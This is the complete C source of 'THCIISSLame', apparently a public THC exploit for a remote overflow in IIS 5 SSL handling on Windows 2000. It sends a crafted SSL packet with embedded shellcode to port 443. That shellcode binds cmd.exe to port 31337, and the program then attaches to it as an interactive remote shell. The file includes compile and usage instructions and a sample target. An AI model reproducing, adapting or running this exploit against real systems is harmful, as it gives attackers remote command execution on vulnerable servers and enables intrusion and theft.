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/*****************************************************************************/
/* THCIISSLame 0.1 - IIS 5 SSL remote root exploit */
/* Exploit by: Johnny Cyberpunk ([email protected]) */
/* THC PUBLIC SOURCE MATERIALS */
/* */
/* Bug was found by Internet Security Systems */
/* Reversing credits of the bug go to Halvar Flake */
/* */
/* compile with MS Visual C++ : cl THCIISSLame.c */
/* */
/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */
/* scut, stealth, FtR and Random */
/*****************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define jumper "\xeb\x0f"
#define greetings_to_microsoft "\x54\x48\x43\x4f\x57\x4e\x5a\x49\x49\x53\x21"
char sslshit[] = "\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";
char shellcode[] =
"\xeb\x23\x7a\x69\x02\x05\x6c\x59\xf8\x1d\x9c\xde\x8c\xd1\x4c"
"\x70\xd4\x03\xf0\x27\x20\x20\x30\x08\x57\x53\x32\x5f\x33\x32"
"\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d\x83\xed"
"\x2a\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c\xad\x8b"
"\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01\xfb\x8b"
"\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b\x5b\x20"
"\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe\xac\x31"
"\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x05\x8d\x44\x45\x04"
"\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50\x52\x2b"
"\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f\xb6\x4d"
"\x05\x89\x44\x8d\xd8\xfe\x4d\x05\x75\xbe\xfe\x4d\x04\x74\x21"
"\xfe\x4d\x22\x8d\x5d\x18\x53\xff\xd0\x89\xc7\x6a\x04\x58\x88"
"\x45\x05\x80\x45\x77\x0a\x8d\x5d\x74\x80\x6b\x26\x14\xe9\x78"
"\xff\xff\xff\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46\x56\xff"
"\xd0\x97\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff\x55\xd4\x4e"
"\x56\x57\xff\x55\xcc\x53\x55\x57\xff\x55\xd0\x97\x8d\x45\x88"
"\x50\xff\x55\xe4\x55\x55\xff\x55\xe8\x8d\x44\x05\x0c\x94\x53"
"\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64\x94\x31\xd2\x8d\x45"
"\xcc\x94\x57\x57\x57\x53\x53\xfe\xc6\x01\xf2\x52\x94\x8d\x45"
"\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53\x6a\x10\xfe\xce\x52"
"\x53\x53\x53\x55\xff\x55\xec\x6a\xff\xff\x55\xe0";
void usage();
void shell(int sock);
int main(int argc, char *argv[])
{
unsigned int i,sock,sock2,addr,rc;
unsigned char *badbuf,*p;
unsigned long offset = 0x6741a1cd;
unsigned long XOR = 0xffffffff;
struct sockaddr_in mytcp;
struct hostent * hp;
WSADATA wsaData;
printf("\nTHCIISSLame v0.1 - IIS 5.0 SSL remote root exploit\n");
printf("tested on Windows 2000 Server german/english SP4\n");
printf("by Johnny Cyberpunk ([email protected])\n");
if(argc<2 || argc>2)
usage();
badbuf = malloc(347);
memset(badbuf,0,347);
printf("\n[*] building buffer\n");
p = badbuf;
memcpy(p,sslshit,sizeof(sslshit));
p+=sizeof(sslshit)-1;
strcat(p,jumper);
strcat(p,greetings_to_microsoft);
offset^=XOR;
strncat(p,(unsigned char *)&offset,4);
strcat(p,shellcode);
if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
{
printf("WSAStartup failed !\n");
exit(-1);
}
hp = gethostbyname(argv[1]);
if (!hp){
addr = inet_addr(argv[1]);
}
if ((!hp) && (addr == INADDR_NONE) )
{
printf("Unable to resolve %s\n",argv[1]);
exit(-1);
}
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (!sock)
{
printf("socket() error...\n");
exit(-1);
}
if (hp != NULL)
memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
else
mytcp.sin_addr.s_addr = addr;
if (hp)
mytcp.sin_family = hp->h_addrtype;
else
mytcp.sin_family = AF_INET;
mytcp.sin_port=htons(443);
printf("[*] connecting the target\n");
rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
if(rc==0)
{
send(sock,badbuf,346,0);
printf("[*] Exploit send successfully ! Sleeping a while ....\n");
Sleep(1000);
}
else
printf("\nCan't connect to ssl port 443!\n");
if(rc==0)
{
printf("[*] Trying to get a shell\n\n");
sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
mytcp.sin_port = htons(31337);
rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp));
if(rc!=0)
{
printf("can't connect to port 31337 ;( maybe firewalled ...\n");
exit(-1);
}
shell(sock2);
}
shutdown(sock,1);
closesocket(sock);
free(badbuf);
exit(0);
}
void usage()
{
unsigned int a;
printf("\nUsage: <Host>\n");
printf("Sample: THCIISSLame 31.33.7.23\n\n");
exit(0);
}
void shell(int sock)
{
int l;
char buf[1024];
struct timeval time;
unsigned long ul[2];
time.tv_sec = 1;
time.tv_usec = 0;
while (1)
{
ul[0] = 1;
ul[1] = sock;
l = select (0, (fd_set *)&ul, NULL, NULL, &time);
if(l == 1)
{
l = recv (sock, buf, sizeof (buf), 0);
if (l <= 0)
{
printf ("bye bye...\n");
return;
}
l = write (1, buf, l);
if (l <= 0)
{
printf ("bye bye...\n");
return;
}
}
else
{
l = read (0, buf, sizeof (buf));
if (l <= 0)
{
printf("bye bye...\n");
return;
}
l = send(sock, buf, l, 0);
if (l <= 0)
{
printf("bye bye...\n");
return;
}
}
}
}
